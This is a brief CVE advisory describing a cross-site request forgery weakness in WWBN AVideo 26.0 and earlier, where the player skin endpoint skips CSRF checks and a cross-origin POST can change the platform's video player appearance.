CVE-2026-35181

Description

WWBN AVideo is an open source video platform. In versions 26.0 and prior, the player skin configuration endpoint at admin/playerUpdate.json.php does not validate CSRF tokens. The plugins table is explicitly excluded from the ORM's domain-based security check via ignoreTableSecurityCheck(), removing the only other layer of defense. Combined with SameSite=None cookies, a cross-origin POST can modify the video player appearance on the entire platform.
